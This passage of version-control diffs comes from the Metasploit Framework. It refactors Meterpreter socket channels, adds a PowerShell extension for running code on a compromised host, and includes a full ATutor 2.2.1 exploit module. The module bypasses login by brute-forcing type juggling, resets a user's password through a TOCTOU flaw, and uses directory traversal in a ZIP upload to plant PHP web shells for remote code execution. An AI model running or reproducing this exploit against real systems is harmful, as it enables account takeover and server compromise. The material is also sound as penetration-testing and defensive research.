rv = Rex::ThreadSafe.select(nil, [rsock], nil, 0.01)
if(rv)
rsock.syswrite(data)
return true
else
return false
end
end
#
# Performs a close operation on the right side of the local stream.
#
def dio_close_handler(packet)
rsock.close
return super(packet)
end
#
# Cleans up the stream abstraction.
#
def cleanup
super
cleanup_abstraction
end
#
# Wrap the _write() call in order to catch some common, but harmless Windows exceptions
#
def _write(*args)
begin
super(*args)
rescue ::Rex::Post::Meterpreter::RequestError => e
case e.code
when 10000 .. 10100
raise ::Rex::ConnectionError.new
end
end
end
end
end; end; end

View File

@ -1,7 +1,7 @@
# -*- coding: binary -*-
require 'rex/io/stream_abstraction'
require 'rex/post/meterpreter/channel'
require 'rex/post/meterpreter/channels/socket_abstraction'
module Rex
module Post
@ -18,6 +18,7 @@ module Meterpreter
###
class Stream < Rex::Post::Meterpreter::Channel
include Rex::Post::Meterpreter::SocketAbstraction
include Rex::IO::StreamAbstraction
class << self
@ -26,61 +27,13 @@ class Stream < Rex::Post::Meterpreter::Channel
end
end
##
#
# Constructor
#
##
#
# Passes the initialization information up to the base class
#
def initialize(client, cid, type, flags)
# sf: initialize_abstraction() before super() as we can get a scenario where dio_write_handler() is called
# with data to write to the rsock but rsock has not yet been initialized. This happens if the channel
# is registered (client.add_channel(self) in Channel.initialize) to a session and a 'core_channel_write'
# request comes in before we have called self.initialize_abstraction()
initialize_abstraction
super(client, cid, type, flags)
end
##
#
# Remote I/O handlers
#
##
#
# Performs a write operation on the right side of the local stream.
#
def dio_write_handler(packet, data)
rv = Rex::ThreadSafe.select(nil, [rsock], nil, 0.01)
if(rv)
rsock.write(data)
return true
else
return false
module SocketInterface
include Rex::Post::Meterpreter::SocketAbstraction::SocketInterface
def type?
'tcp'
end
end
#
# Performs a close operation on the right side of the local stream.
#
def dio_close_handler(packet)
rsock.close
return super(packet)
end
#
# Cleans up the stream abstraction.
#
def cleanup
super
cleanup_abstraction
end
end
end; end; end

View File

@ -0,0 +1,59 @@
# -*- coding: binary -*-
require 'rex/post/meterpreter/extensions/powershell/tlv'
module Rex
module Post
module Meterpreter
module Extensions
module Powershell
###
#
# This meterpreter extensions a privilege escalation interface that is capable
# of doing things like dumping password hashes and performing local
# exploitation.
#
###
class Powershell < Extension
def initialize(client)
super(client, 'powershell')
client.register_extension_aliases(
[
{
'name' => 'powershell',
'ext' => self
},
])
end
def execute_string(opts={})
return nil unless opts[:code]
request = Packet.create_request('powershell_execute')
request.add_tlv(TLV_TYPE_POWERSHELL_CODE, opts[:code])
request.add_tlv(TLV_TYPE_POWERSHELL_SESSIONID, opts[:session_id]) if opts[:session_id]
response = client.send_request(request)
return response.get_tlv_value(TLV_TYPE_POWERSHELL_RESULT)
end
def shell(opts={})
request = Packet.create_request('powershell_shell')
request.add_tlv(TLV_TYPE_POWERSHELL_SESSIONID, opts[:session_id]) if opts[:session_id]
response = client.send_request(request)
channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID)
if channel_id.nil?
raise Exception, "We did not get a channel back!"
end
Rex::Post::Meterpreter::Channels::Pools::StreamPool.new(client, channel_id, 'powershell_psh', CHANNEL_FLAG_SYNCHRONOUS)
end
end
end; end; end; end; end

View File

@ -0,0 +1,16 @@
# -*- coding: binary -*-
module Rex
module Post
module Meterpreter
module Extensions
module Powershell
TLV_TYPE_POWERSHELL_SESSIONID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 1)
TLV_TYPE_POWERSHELL_CODE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2)
TLV_TYPE_POWERSHELL_RESULT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 3)
end
end
end
end
end

View File

@ -41,7 +41,7 @@ class Socket
# register the inbound handler for the tcp server channel (allowing us to
# receive new client connections to a tcp server channel)
client.register_inbound_handler( Rex::Post::Meterpreter::Extensions::Stdapi::Net::SocketSubsystem::TcpServerChannel )
client.register_inbound_handler(Rex::Post::Meterpreter::Extensions::Stdapi::Net::SocketSubsystem::TcpServerChannel)
end
@ -49,7 +49,7 @@ class Socket
# Deregister the inbound handler for the tcp server channel
#
def shutdown
client.deregister_inbound_handler( Rex::Post::Meterpreter::Extensions::Stdapi::Net::SocketSubsystem::TcpServerChannel )
client.deregister_inbound_handler(Rex::Post::Meterpreter::Extensions::Stdapi::Net::SocketSubsystem::TcpServerChannel)
end
##
@ -63,17 +63,17 @@ class Socket
# in the socket parameters instance. The +params+ argument is expected to be
# of type Rex::Socket::Parameters.
#
def create( params )
def create(params)
res = nil
if( params.tcp? )
if( params.server? )
res = create_tcp_server_channel( params )
if params.tcp?
if params.server?
res = create_tcp_server_channel(params)
else
res = create_tcp_client_channel( params )
res = create_tcp_client_channel(params)
end
elsif( params.udp? )
res = create_udp_channel( params )
elsif params.udp?
res = create_udp_channel(params)
end
return res
@ -87,6 +87,8 @@ class Socket
return SocketSubsystem::TcpServerChannel.open(client, params)
rescue ::Rex::Post::Meterpreter::RequestError => e
case e.code
when 10048
raise ::Rex::AddressInUse.new(params.localhost, params.localport)
when 10000 .. 10100
raise ::Rex::ConnectionError.new
end
@ -100,7 +102,7 @@ class Socket
def create_tcp_client_channel(params)
begin
channel = SocketSubsystem::TcpClientChannel.open(client, params)
if( channel != nil )
if channel != nil
return channel.lsock
end
return nil
@ -118,10 +120,16 @@ class Socket
#
def create_udp_channel(params)
begin
return SocketSubsystem::UdpChannel.open(client, params)
channel = SocketSubsystem::UdpChannel.open(client, params)
if channel != nil
return channel.lsock
end
return nil
rescue ::Rex::Post::Meterpreter::RequestError => e
case e.code
when 10000 .. 10100
when 10048
raise ::Rex::AddressInUse.new(params.localhost, params.localport)
when 10000 .. 10100
raise ::Rex::ConnectionError.new
end
raise e

View File

@ -23,61 +23,6 @@ module SocketSubsystem
###
class TcpClientChannel < Rex::Post::Meterpreter::Stream
class << self
def cls
return CHANNEL_CLASS_STREAM
end
end
module SocketInterface
def type?
'tcp'
end
def getsockname
return super if not channel
# Find the first host in our chain (our address)
hops = 0
csock = channel.client.sock
while(csock.respond_to?('channel'))
csock = csock.channel.client.sock
hops += 1
end
tmp,caddr,cport = csock.getsockname
tmp,raddr,rport = csock.getpeername
maddr,mport = [ channel.params.localhost, channel.params.localport ]
[ tmp, "#{caddr}#{(hops > 0) ? "-_#{hops}_" : ""}-#{raddr}", "#{mport}" ]
end
def getpeername
return super if not channel
tmp,caddr,cport = channel.client.sock.getpeername
maddr,mport = [ channel.params.peerhost, channel.params.peerport ]
[ tmp, "#{maddr}", "#{mport}" ]
end
attr_accessor :channel
end
#
# Simple mixin for lsock in order to help avoid a ruby interpreter issue with ::Socket.pair
# Instead of writing to the lsock, reading from the rsock and then writing to the channel,
# we use this mixin to directly write to the channel.
#
# Note: This does not work with OpenSSL as OpenSSL is implemented natively and requires a real
# socket to write to and we cant intercept the sockets syswrite at a native level.
#
# Note: The deadlock only seems to effect the Ruby build for cygwin.
#
module DirectChannelWrite
def syswrite( buf )
channel._write( buf )
end
attr_accessor :channel
end
##
#
# Factory
@ -124,14 +69,14 @@ class TcpClientChannel < Rex::Post::Meterpreter::Stream
#
# Passes the channel initialization information up to the base class.
#
def initialize( client, cid, type, flags )
super( client, cid, type, flags )
def initialize(client, cid, type, flags)
super(client, cid, type, flags)
lsock.extend( SocketInterface )
lsock.extend( DirectChannelWrite )
lsock.extend(SocketInterface)
lsock.extend(DirectChannelWrite)
lsock.channel = self
rsock.extend( SocketInterface )
rsock.extend(SocketInterface)
rsock.channel = self
end
@ -156,24 +101,11 @@ class TcpClientChannel < Rex::Post::Meterpreter::Stream
request.add_tlv(TLV_TYPE_SHUTDOWN_HOW, how)
request.add_tlv(TLV_TYPE_CHANNEL_ID, self.cid)
response = client.send_request(request)
client.send_request(request)
return true
end
#
# Wrap the _write() call in order to catch some common, but harmless Windows exceptions
#
def _write(*args)
begin
super(*args)
rescue ::Rex::Post::Meterpreter::RequestError => e
case e.code
when 10000 .. 10100
raise ::Rex::ConnectionError.new
end
end
end
end
end; end; end; end; end; end; end

View File

@ -5,6 +5,7 @@ require 'rex/socket/udp'
require 'rex/socket/parameters'
require 'rex/post/meterpreter/extensions/stdapi/tlv'
require 'rex/post/meterpreter/channel'
require 'rex/post/meterpreter/channels/datagram'
module Rex
module Post
@ -14,30 +15,26 @@ module Stdapi
module Net
module SocketSubsystem
class UdpChannel < Rex::Post::Meterpreter::Channel
#
# We inclue Rex::Socket::Udp as this channel is effectivly a UDP socket.
#
include Rex::Socket::Udp
class UdpChannel < Rex::Post::Meterpreter::Datagram
#
# We are a datagram channel.
#
class << self
def cls
return CHANNEL_CLASS_DATAGRAM
end
def self.cls
CHANNEL_CLASS_DATAGRAM
end
#
# Open a new UDP channel on the remote end. The local host/port are optional, if none are specified
# the remote end will bind to INADDR_ANY with a random port number. The peer host/port are also
# optional, if specified all default send(), write() call will sendto the specified peer. If no peer
# host/port is specified you must use sendto() and specify the remote peer you wish to send to. This
# effectivly lets us create bound/unbound and connected/unconnected UDP sockets with ease.
# Open a new UDP channel on the remote end. The local host/port are
# optional, if none are specified the remote end will bind to INADDR_ANY
# with a random port number. The peer host/port are also optional, if
# specified all default send(), write() call will sendto the specified peer.
# If no peer host/port is specified you must use sendto() and specify the
# remote peer you wish to send to. This effectivly lets us create
# bound/unbound and connected/unconnected UDP sockets with ease.
#
def UdpChannel.open(client, params)
# @return [Channel]
def self.open(client, params)
c = Channel.create(client, 'stdapi_net_udp_client', self, CHANNEL_FLAG_SYNCHRONOUS,
[
{
@ -66,95 +63,25 @@ class UdpChannel < Rex::Post::Meterpreter::Channel
#
def initialize(client, cid, type, flags)
super(client, cid, type, flags)
# the instance variable that holds all incoming datagrams.
@datagrams = []
end
#
# We overwrite Rex::Socket::Udp.timed_read in order to avoid the call to Kernel.select
# which wont be of use as we are not a natively backed ::Socket or ::IO instance.
#
def timed_read( length=65535, timeout=def_read_timeout )
result = ''
lsock.extend(Rex::Socket::Udp)
lsock.initsock
lsock.extend(SocketInterface)
lsock.extend(DirectChannelWrite)
lsock.channel = self
begin
Timeout.timeout( timeout ) {
while( true )
if( @datagrams.empty? )
Rex::ThreadSafe.sleep( 0.2 )
next
end
result = self.read( length )
break
end
}
rescue Timeout::Error
result = ''
end
# rsock.extend( Rex::Socket::Udp )
rsock.extend(SocketInterface)
rsock.channel = self
return result
end
#
# We overwrite Rex::Socket::Udp.recvfrom in order to correctly hand out the
# datagrams which the remote end of this channel has received and are in the
# queue.
#
def recvfrom( length=65535, timeout=def_read_timeout )
result = nil
# force a timeout on the wait for an incoming datagram
begin
Timeout.timeout( timeout ) {
while( true )
# wait untill we have at least one datagram in the queue
if( @datagrams.empty? )
Rex::ThreadSafe.sleep( 0.2 )
next
end
# grab the oldest datagram we have received...
result = @datagrams.shift
# break as we have a result...
break
end
}
rescue Timeout::Error
result = nil
end
# if no result return nothing
if( result == nil )
return [ '', nil, nil ]
end
# get the data from this datagram
data = result[0]
# if its only a partial read of this datagram, slice it, loosing the remainder.
result[0] = data[0,length-1] if data.length > length
# return the result in the form [ data, host, port ]
return result
end
#
# Overwrite the low level sysread to read data off our datagram queue. Calls
# to read() will end up calling this.
#
def sysread( length )
result = self.recvfrom( length )
return result[0]
end
#
# Overwrite the low level syswrite to write data to the remote end of the channel.
# Calls to write() will end up calling this.
#
def syswrite( buf )
return _write( buf )
end
#
# This function is called by Rex::Socket::Udp.sendto and writes data to a specified
# remote peer host/port via the remote end of the channel.
#
def send( buf, flags, saddr )
af, peerhost, peerport = Rex::Socket.from_sockaddr( saddr )
def send(buf, flags, saddr)
_af, peerhost, peerport = Rex::Socket.from_sockaddr(saddr)
addends = [
{
@ -167,42 +94,9 @@ class UdpChannel < Rex::Post::Meterpreter::Channel
}
]
return _write( buf, buf.length, addends )
return _write(buf, buf.length, addends)
end
#
# The channels direct io write handler for any incoming data from the remote end
# of the channel. We extract the data and peer host/port, and save this to a queue
# of incoming datagrams which are passed out via calls to self.recvfrom()
#
def dio_write_handler( packet, data )
peerhost = packet.get_tlv_value( TLV_TYPE_PEER_HOST )
peerport = packet.get_tlv_value( TLV_TYPE_PEER_PORT )
if( peerhost and peerport )
@datagrams << [ data, peerhost, peerport ]
return true
end
return false
end
#
# Wrap the _write() call in order to catch some common, but harmless Windows exceptions
#
def _write(*args)
begin
super(*args)
rescue ::Rex::Post::Meterpreter::RequestError => e
case e.code
when 10000 .. 10100
raise ::Rex::ConnectionError.new
end
end
end
end
end; end; end; end; end; end; end

View File

@ -0,0 +1,113 @@
# -*- coding: binary -*-
require 'rex/post/meterpreter'
module Rex
module Post
module Meterpreter
module Ui
###
#
# Powershell extension - interact with a Powershell interpreter
#
###
class Console::CommandDispatcher::Powershell
Klass = Console::CommandDispatcher::Powershell
include Console::CommandDispatcher
#
# Name for this dispatcher
#
def name
'Powershell'
end
#
# List of supported commands.
#
def commands
{
'powershell_shell' => 'Create an interactive Powershell prompt',
'powershell_execute' => 'Execute a Powershell command string'
}
end
@@powershell_shell_opts = Rex::Parser::Arguments.new(
'-s' => [true, 'Specify the id/name of the Powershell session to interact with.'],
'-h' => [false, 'Help banner']
)
def powershell_shell_usage
print_line('Usage: powershell_shell [-s session-id]')
print_line
print_line('Creates an interactive Powershell prompt.')
print_line(@@powershell_shell_opts.usage)
end
#
# Create an interactive powershell prompts
#
def cmd_powershell_shell(*args)
if args.include?('-h')
powershell_shell_usage
return false
end
opts = {}
@@powershell_shell_opts.parse(args) { |opt, idx, val|
case opt
when '-s'
opts[:session_id] = val
end
}
channel = client.powershell.shell(opts)
shell.interact_with_channel(channel)
end
@@powershell_execute_opts = Rex::Parser::Arguments.new(
'-s' => [true, 'Specify the id/name of the Powershell session to run the command in.'],
'-h' => [false, 'Help banner']
)
def powershell_execute_usage
print_line('Usage: powershell_execute <powershell code> [-s session-id]')
print_line
print_line('Runs the given Powershell string on the target.')
print_line(@@powershell_execute_opts.usage)
end
#
# Execute a simple Powershell command string
#
def cmd_powershell_execute(*args)
if args.length == 0 || args.include?('-h')
powershell_execute_usage
return false
end
opts = {
code: args.shift
}
@@powershell_execute_opts.parse(args) { |opt, idx, val|
case opt
when '-s'
opts[:session_id] = val
end
}
result = client.powershell.execute_string(opts)
print_good("Command execution completed:\n#{result}")
end
end
end
end
end
end

View File

@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model', '1.1.0'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.1.3'
spec.add_runtime_dependency 'metasploit-payloads', '1.1.4'
# Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack'
# get list of network interfaces, like eth* from OS.
@ -89,6 +89,9 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'recog', '2.0.14'
# required for bitlocker fvek extraction
spec.add_runtime_dependency 'openssl-ccm', '1.2.1'
# Needed for documentation generation
spec.add_runtime_dependency 'octokit'
spec.add_runtime_dependency 'redcarpet'
# rb-readline doesn't work with Ruby Installer due to error with Fiddle:
# NoMethodError undefined method `dlopen' for Fiddle:Module

View File

@ -46,7 +46,7 @@ class MetasploitModule < Msf::Auxiliary
File.join(Msf::Config.data_directory, "wordlists", "tomcat_mgr_default_users.txt") ]),
], self.class)
deregister_options('PASSWORD','PASS_FILE','USERPASS_FILE','USER_AS_PASS','STOP_ON_SUCCESS','BLANK_PASSWORDS','USERNAME')
deregister_options('PASS_FILE','USERPASS_FILE','USER_AS_PASS','STOP_ON_SUCCESS','BLANK_PASSWORDS')
end
def has_j_security_check?

View File

@ -310,7 +310,7 @@ class MetasploitModule < Msf::Auxiliary
else
print_status("Auth successful, saving server response in database")
end
vprint_status(resp)
vprint_status(resp.to_s)
end
return [resp, ser_sock]
end

View File

@ -0,0 +1,360 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => 'ATutor 2.2.1 Directory Traversal / Remote Code Execution',
'Description' => %q{
This module exploits a directory traversal vulnerability in ATutor on an Apache/PHP
setup with display_errors set to On, which can be used to allow us to upload a malicious
ZIP file. On the web application, a blacklist verification is performed before extraction,
however it is not sufficient to prevent exploitation.
You are required to login to the target to reach the vulnerability, however this can be
done as a student account and remote registration is enabled by default.
Just in case remote registration isn't enabled, this module uses 2 vulnerabilities
in order to bypass the authentication:
1. confirm.php Authentication Bypass Type Juggling vulnerability
2. password_reminder.php Remote Password Reset TOCTOU vulnerability
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code
],
'References' =>
[
[ 'URL', 'http://www.atutor.ca/' ], # Official Website
[ 'URL', 'http://sourceincite.com/research/src-2016-09/' ], # Type Juggling Advisory
[ 'URL', 'http://sourceincite.com/research/src-2016-10/' ], # TOCTOU Advisory
[ 'URL', 'http://sourceincite.com/research/src-2016-11/' ], # Directory Traversal Advisory
[ 'URL', 'https://github.com/atutor/ATutor/pull/107' ]
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Mar 1 2016',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),
OptString.new('USERNAME', [false, 'The username to authenticate as']),
OptString.new('PASSWORD', [false, 'The password to authenticate with'])
],self.class)
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def print_error(msg='')
super("#{peer} - #{msg}")
end
def print_good(msg='')
super("#{peer} - #{msg}")
end
def check
# there is no real way to finger print the target so we just
# check if we can upload a zip and extract it into the web root...
# obviously not ideal, but if anyone knows better, feel free to change
if (not datastore['USERNAME'].blank? and not datastore['PASSWORD'].blank?)
student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], check=true)
if student_cookie != nil && disclose_web_root
begin
if upload_shell(student_cookie, check=true) && found
return Exploit::CheckCode::Vulnerable
end
rescue Msf::Exploit::Failed => e
vprint_error(e.message)
end
else
# if we cant login, it may still be vuln
return Exploit::CheckCode::Unknown
end
else
# if no creds are supplied, it may still be vuln
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Safe
end
def create_zip_file(check=false)
zip_file = Rex::Zip::Archive.new
@header = Rex::Text.rand_text_alpha_upper(4)
@payload_name = Rex::Text.rand_text_alpha_lower(4)
@archive_name = Rex::Text.rand_text_alpha_lower(3)
@test_string = Rex::Text.rand_text_alpha_lower(8)
# we traverse back into the webroot mods/ directory (since it will be writable)
path = "../../../../../../../../../../../../..#{@webroot}mods/"
# we use this to give us the best chance of success. If a webserver has htaccess override enabled
# we will win. If not, we may still win because these file extensions are often registered as php
# with the webserver, thus allowing us remote code execution.
if check
zip_file.add_file("#{path}#{@payload_name}.txt", "#{@test_string}")
else
register_file_for_cleanup( ".htaccess", "#{@payload_name}.pht", "#{@payload_name}.php4", "#{@payload_name}.phtml")
zip_file.add_file("#{path}.htaccess", "AddType application/x-httpd-php .phtml .php4 .pht")
zip_file.add_file("#{path}#{@payload_name}.pht", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
zip_file.add_file("#{path}#{@payload_name}.php4", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
zip_file.add_file("#{path}#{@payload_name}.phtml", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
end
zip_file.pack
end
def found
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.txt"),
})
if res and res.code == 200 and res.body =~ /#{@test_string}/
return true
end
return false
end
def disclose_web_root
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "jscripts", "ATutor_js.php"),
})
@webroot = "/"
@webroot << $1 if res and res.body =~ /\<b\>\/(.*)jscripts\/ATutor_js\.php\<\/b\> /
if @webroot != "/"
return true
end
return false
end
def call_php(ext)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.#{ext}"),
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
}, timeout=0.1)
return res
end
def exec_code
res = nil
res = call_php("pht")
if res == nil
res = call_php("phtml")
end
if res == nil
res = call_php("php4")
end
end
def upload_shell(cookie, check)
post_data = Rex::MIME::Message.new
post_data.add_part(create_zip_file(check), 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{@archive_name}.zip\"")
post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"submit_import\"")
data = post_data.to_s
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "mods", "_standard", "tests", "question_import.php"),
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'cookie' => cookie,
'vars_get' => {
'h' => ''
}
})
if res && res.code == 302 && res.redirection.to_s.include?("question_db.php")
return true
end
# unknown failure...
fail_with(Failure::Unknown, "Unable to upload php code")
return false
end
def find_user(cookie)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "users", "profile.php"),
'cookie' => cookie,
# we need to set the agent to the same value that was in type_juggle,
# since the bypassed session is linked to the user-agent. We can then
# use that session to leak the username
'agent' => ''
})
username = "#{$1}" if res and res.body =~ /<span id="login">(.*)<\/span>/
if username
return username
end
# else we fail, because we dont know the username to login as
fail_with(Failure::Unknown, "Unable to find the username!")
end
def type_juggle
# high padding, means higher success rate
# also, we use numbers, so we can count requests :p
for i in 1..8
for @number in ('0'*i..'9'*i)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "confirm.php"),
'vars_post' => {
'auto_login' => '',
'code' => '0' # type juggling
},
'vars_get' => {
'e' => @number, # the bruteforce
'id' => '',
'm' => '',
# the default install script creates a member
# so we know for sure, that it will be 1
'member_id' => '1'
},
# need to set the agent, since we are creating x number of sessions
# and then using that session to get leak the username
'agent' => ''
}, redirect_depth = 0) # to validate a successful bypass
if res and res.code == 302
cookie = "ATutorID=#{$3};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
return cookie
end
end
end
# if we finish the loop and have no sauce, we cant make pasta
fail_with(Failure::Unknown, "Unable to exploit the type juggle and bypass authentication")
end
def reset_password
# this is due to line 79 of password_reminder.php
days = (Time.now.to_i/60/60/24)
# make a semi strong password, we have to encourage security now :->
pass = Rex::Text.rand_text_alpha(32)
hash = Rex::Text.sha1(pass)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "password_reminder.php"),
'vars_post' => {
'form_change' => 'true',
# the default install script creates a member
# so we know for sure, that it will be 1
'id' => '1',
'g' => days + 1, # needs to be > the number of days since epoch
'h' => '', # not even checked!
'form_password_hidden' => hash, # remotely reset the password
'submit' => 'Submit'
},
}, redirect_depth = 0) # to validate a successful bypass
if res and res.code == 302
return pass
end
# if we land here, the TOCTOU failed us
fail_with(Failure::Unknown, "Unable to exploit the TOCTOU and reset the password")
end
def login(username, password, check=false)
hash = Rex::Text.sha1(Rex::Text.sha1(password))
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "login.php"),
'vars_post' => {
'form_password_hidden' => hash,
'form_login' => username,
'submit' => 'Login',
'token' => '',
},
})
# poor php developer practices
cookie = "ATutorID=#{$4};" if res && res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
if res && res.code == 302
if res.redirection.to_s.include?('bounce.php?course=0')
return cookie
end
end
# auth failed if we land here, bail
unless check
fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
end
return nil
end
def report_cred(opts)
service_data = {
address: rhost,
port: rport,
service_name: ssl ? 'https' : 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
post_reference_name: self.refname,
private_data: opts[:password],
origin_type: :service,
private_type: :password,
username: opts[:user]
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
last_attempted_at: Time.now
}.merge(service_data)
create_credential_login(login_data)
end
def exploit
# login if needed
if (not datastore['USERNAME'].empty? and not datastore['PASSWORD'].empty?)
report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])
student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
print_good("Logged in as #{datastore['USERNAME']}")
# else, we reset the students password via a type juggle vulnerability
else
print_status("Account details are not set, bypassing authentication...")
print_status("Triggering type juggle attack...")
student_cookie = type_juggle
print_good("Successfully bypassed the authentication in #{@number} requests !")
username = find_user(student_cookie)
print_good("Found the username: #{username} !")
password = reset_password
print_good("Successfully reset the #{username}'s account password to #{password} !")
report_cred(user: username, password: password)
student_cookie = login(username, password)
print_good("Logged in as #{username}")
end
if disclose_web_root
print_good("Found the webroot")
# we got everything. Now onto pwnage
if upload_shell(student_cookie, false)
print_good("Zip upload successful !")
exec_code
end
end
end
end
=begin
php.ini settings:
display_errors = On
=end

View File

@ -0,0 +1,258 @@
require 'rex'
require 'msf/util/document_generator'
require 'msf/util/document_generator/pull_request_finder'
RSpec.describe Msf::Util::DocumentGenerator::DocumentNormalizer do
let(:mod_description) { 'MS08-067 netapi double' }
let(:mod_authors) { [ 'sinn3r' ] }
let(:mod_fullname) { 'exploit/windows/smb/ms08_067_netapi' }
let(:mod_shortname) { 'ms08_067_netapi' }
let(:mod_name) { 'MS08-067' }
let(:mod_pull_requests) { good_pull_requests }
let(:mod_refs) { ['URL', 'http://example.com'] }
let(:mod_platforms) { 'win' }
let(:mod_options) { { 'RHOST' => rhost_option } }
let(:mod_normal_rank) { 300 }
let(:mod_type) { 'exploit' }
let(:good_pull_requests) do
{
'1234' => { title: 'Merged Pull Request' }
}
end
let(:mod_targets) do
target = double('target')
allow(target).to receive(:name).and_return('Automatic')
[target]
end
let(:bad_pull_requests) do
exp = Msf::Util::DocumentGenerator::PullRequestFinder::Exception.new
allow(exp).to receive(:message).and_return('GITHUB_OAUTH_TOKEN')
exp
end
let(:rhost_option) do
owner = double('Msf::Exploit::Remote::SMB::Client')
option = double('Msf::OptAddress')
allow(option).to receive(:name).and_return('RHOST')
allow(option).to receive(:advanced).and_return(false)
allow(option).to receive(:evasion).and_return(false)
allow(option).to receive(:required).and_return(true)
allow(option).to receive(:desc).and_return('The target address')
allow(option).to receive(:default).and_return(nil)
allow(option).to receive(:owner).and_return(owner)
option
end
let(:msf_mod) do
mod = double('Msf::Module')
mod_info = { 'Author' => mod_authors, 'Platform' => mod_platforms }
allow(mod).to receive(:description).and_return(mod_description)
allow(mod).to receive(:module_info).and_return(mod_info)
allow(mod).to receive(:fullname).and_return(mod_fullname)
allow(mod).to receive(:name).and_return(mod_name)
allow(mod).to receive(:references).and_return(mod_refs)
allow(mod).to receive(:platforms).and_return(mod_platforms)
allow(mod).to receive(:authors).and_return(mod_authors)
allow(mod).to receive(:rank).and_return(mod_normal_rank)
allow(mod).to receive(:options).and_return(mod_options)
allow(mod).to receive(:type).and_return(mod_type)
allow(mod).to receive(:shortname).and_return(mod_shortname)
allow(mod).to receive(:targets).and_return(mod_targets)
mod
end
subject do
described_class.new
end
describe '#get_md_content' do
context 'when metadata is given' do
it 'returns the documentation in HTML' do
items = {
mod_description: msf_mod.description,
mod_authors: msf_mod.send(:module_info)['Author'],
mod_fullname: msf_mod.fullname,
mod_name: msf_mod.name,
mod_pull_requests: good_pull_requests,
mod_refs: msf_mod.references,
mod_rank: msf_mod.rank,
mod_platforms: msf_mod.send(:module_info)['Platform'],
mod_options: msf_mod.options,
mod_demo: msf_mod
}
expect(subject.get_md_content(items, '')).to include('<html>')
end
end
end
describe '#load_css' do
it 'loads CSS from file' do
expect(subject.send(:load_css)).to include('color: #0069d6')
end
end
describe '#md_to_html' do
let(:md) do
%Q|# Hello world!|
end
context 'when a markdown file is given' do
it 'returns the documentation in HTML' do
expect(subject.send(:md_to_html, md, '')).to include('<h1>Hello world!</h1>')
end
end
end
describe 'normalize_pull_requests' do
context 'when a hash of pull requests are given' do
it 'returns HTML links' do
expect(subject.send(:normalize_pull_requests, good_pull_requests)).to include('* <a href=')
end
end
context 'when PullRequestFinder::Exception is raised' do
it 'includes a how-to link in the error message' do
how_to_link = 'https://help.github.com/articles/creating-an-access-token-for-command-line-use/'
expect(subject.send(:normalize_pull_requests, bad_pull_requests)).to include(how_to_link)
end
end
end
describe 'normalize_options' do
context 'when datastore options are given' do
it 'returns a list of options in HTML' do
expect(subject.send(:normalize_options, msf_mod.options)).to include('* RHOST - The target address')
end
end
end
describe 'normalize_description' do
context 'when a description is a long one-liner' do
it 'returns the wrapped the description' do
desc = 'description ' * 20
expect(subject.send(:normalize_description, desc)).to include("\ndescription")
end
end
end
describe 'normalize_authors' do
context 'when an array of authors is given' do
it 'returns the author list in markdown' do
expect(subject.send(:normalize_authors, Rex::Text.html_decode(msf_mod.authors))).to include('* ')
end
end
end
describe 'normalize_targets' do
context 'when an array of targets is given' do
it 'returns the target list in HTML' do
expect(subject.send(:normalize_targets, msf_mod.targets)).to include('* Automatic')
end
end
end
describe 'normalize_references' do
context 'when an array of references is given' do
it 'returns the reference list in HTML' do
expect(subject.send(:normalize_references, msf_mod.references)).to include('* <a href=')
end
end
end
describe 'normalize_platforms' do
context 'when platforms win and linux are given' do
it 'returns the markdown with windows and linux' do
platforms = ['win', 'linux']
platforms.each do |platform|
expect(subject.send(:normalize_platforms, platforms)).to include("* #{platform}")
end
end
end
context 'when a platform as a string is given' do
